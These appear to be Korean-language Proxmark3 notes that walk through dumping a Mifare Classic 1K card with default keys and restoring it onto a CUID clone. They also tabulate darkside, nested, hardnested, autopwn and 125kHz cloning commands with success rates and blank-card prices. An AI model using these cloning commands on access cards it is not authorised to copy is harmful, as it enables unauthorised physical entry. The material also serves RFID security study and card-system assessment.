1. 설치 및 설정
의존성 설치:
brew install readline qt5 pkgconfig p7zip libusb arm-none-eabi-gcc
소스코드 다운로드 및 컴파일:
git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3
make clean && make all
연결 확인:
system_profiler SPUSBDataType | grep -i proxmark
ls /dev/tty.usbmodem*
2. Proxmark3 실행 및 하드웨어 확인
클라이언트 실행:
./pm3 -p /dev/tty.usbmodemiceman1
하드웨어 상태 확인:
hw status
hw version
3. 카드 분석
주파수별 스캔:
lf search # 125kHz 카드 확인 (EM4x70 감지됨)
hf search # 13.56MHz 카드 확인 (Mifare Classic 1K 발견)
Mifare 상세 정보:
hf mf info # UID: 47XXXXXX, 모든 키가 FFFFFFFFFFFF 확인
4. 키 확인 및 덤프
키 체크 및 파일 생성:
hf mf chk --1k --dump
# 결과: /Users/user/hf-mf-47XXXXXX-key.bin 생성
카드 덤프:
hf mf dump --1k
# 결과: /Users/user/hf-mf-47XXXXXX-dump.bin 생성
5. CUID 카드에 복사
복사 실행:
hf mf restore --1k -f /Users/user/hf-mf-47XXXXXX-dump.bin -k /Users/user/hf-mf-47XXXXXX-key.bin
복사 검증:
hf mf dump --ns # 복사된 카드 읽기 (파일 저장 안함)
핵심 발견사항
카드 특성:
- 듀얼 주파수: EM4x70(125kHz) + Mifare Classic 1K(13.56MHz)
- 실제 사용: Mifare Classic 부분 (UID: 47XXXXXX)
- 보안 수준: 기본 키(FFFFFFFFFFFF) 사용으로 취약
공격 가능한 카드 (PRNG 사용)
MIFARE Classic 1K (MF1 S50)
- SAK: 0x08
- 공격: darkside, nested, hardnested 모두 가능
- 성공률: 높음
MIFARE Classic 4K (MF1 S70)
- SAK: 0x18
- 공격: darkside, nested, hardnested 모두 가능
- 성공률: 높음
저주파 카드들 (125kHz)
- HID ProxCard
- EM4100/EM4102
- T5577 (재작성 가능)
- Indala
- 공격: 단순 복사/에뮬레이션
- 성공률: 매우 높음
공격 어려운/불가능한 카드 (TRNG 사용)
MIFARE Plus
- SAK: 0x08(Level 1), 0x20(Level 3)
- 공격: 표준 방법 차단됨
SmartMX
- SAK: 0x28
- 공격: 모든 표준 공격 차단
MIFARE DESFire
- SAK: 0x20
- 공격: AES 암호화로 거의 불가능
iClass, Legic Prime
- 고급 암호화
- 공격: 매우 제한적
RFID/NFC 카드 공격 가능성 비교표
고주파 카드 (13.56MHz)
카드명 SAK 메모리 RNG 암호화 가능한 공격 성공률 복사용 카드
| MIFARE Classic 1K | 0x08 | 1KB | PRNG | Crypto1 | darkside, nested, hardnested, autopwn | 높음 | CUID, UID |
| MIFARE Classic 4K | 0x18 | 4KB | PRNG | Crypto1 | darkside, nested, hardnested, autopwn | 높음 | CUID, UID |
| SmartMX + Classic | 0x28 | 다양 | TRNG | AES/3DES | 거의 불가능 | 매우 낮음 | 복사 불가 |
| MIFARE Plus Lv1 | 0x08/0x18 | 2KB/4KB | TRNG | AES | Classic 호환 모드에서만 제한적 | 낮음 | 제한적 |
| MIFARE Plus Lv2 | 0x10/0x11 | 2KB/4KB | TRNG | AES | 거의 불가능 | 매우 낮음 | 복사 불가 |
| MIFARE Plus Lv3 | 0x20 | 2KB/4KB | TRNG | AES | 거의 불가능 | 없음 | 복사 불가 |
| MIFARE DESFire | 0x20 | 2-8KB | TRNG | AES | 거의 불가능 | 없음 | 복사 불가 |
| CUID | 0x08 | 1KB | PRNG | Crypto1 | 모든 공격 | 매우 높음 | 복사 대상 |
| UID | 0x08 | 1KB | PRNG | Crypto1 | 모든 공격 | 매우 높음 | 복사 대상 |
저주파 카드 (125kHz/134kHz)
카드명 주파수 메모리 보안 가능한 공격 성공률 복사용 카드
| HID ProxCard | 125kHz | 64bit | 없음 | lf hid clone | 매우 높음 | T5577 |
| EM4100/4102 | 125kHz | 64bit | 없음 | lf em clone | 매우 높음 | T5577 |
| EM4x70 | 125kHz | 512bit | 암호화 | lf em 4x70 공격 | 낮음 | T5577 (제한적) |
| Indala | 125kHz | 64bit | 없음 | lf indala clone | 높음 | T5577 |
| T5577 | 125kHz | 330bit | 없음 | 직접 쓰기 | 매우 높음 | 복사 대상 |
공격 방법별 설명
고주파 공격 (13.56MHz)
공격 방법 필요 조건 시간 대상 카드 성공률 명령어 예시
| autopwn | 카드만 | 5-30분 | PRNG 카드 | 높음 | hf mf autopwn --1k |
| darkside | 카드만 | 5-15분 | PRNG 카드 | 높음 | hf mf darkside |
| nested | 1개 키 필요 | 1-5분 | PRNG 카드 | 매우 높음 | hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF |
| hardnested | 1개 키 필요 | 10-60분 | PRNG 카드 | 높음 | hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 --ta |
| 키 체크 | 카드만 | 30초-5분 | 모든 카드 | 카드별 차이 | hf mf chk --1k |
| 스니핑 공격 | 리더기 접근 | 수시간 | 모든 카드 | 중간 | hf 14a sniff + mfkey64 분석 |
저주파 공격 (125kHz)
공격 방법 명령어 시간 성공률 설명
| 카드 식별 | lf search | 1-5초 | 매우 높음 | 카드 타입 자동 감지 |
| EM410x 복사 | lf em 410x clone --id [ID] | 5-10초 | 매우 높음 | EM4100/EM4102 → T5577 |
| HID 복사 | lf hid clone [TAG_ID] | 5-10초 | 매우 높음 | HID ProxCard → T5577 |
| T5577 직접 쓰기 | lf t55xx wr -b 0 -d [data] | 10-30초 | 매우 높음 | 직접 데이터 쓰기 |
| 시뮬레이션 | lf hid sim [TAG_ID] | 즉시 | 매우 높음 | 카드 에뮬레이션 |
복사용 카드 정보
카드명 타입 가격 용도 특징
| CUID | 13.56MHz | 1-3천원 | Mifare Classic 복사 | UID 변경 가능 |
| UID | 13.56MHz | 1-2천원 | Mifare Classic 복사 | 중국산 매직 카드 |
| T5577 | 125kHz | 1-2천원 | LF 카드 복사 | 다양한 LF 카드 에뮬레이션 |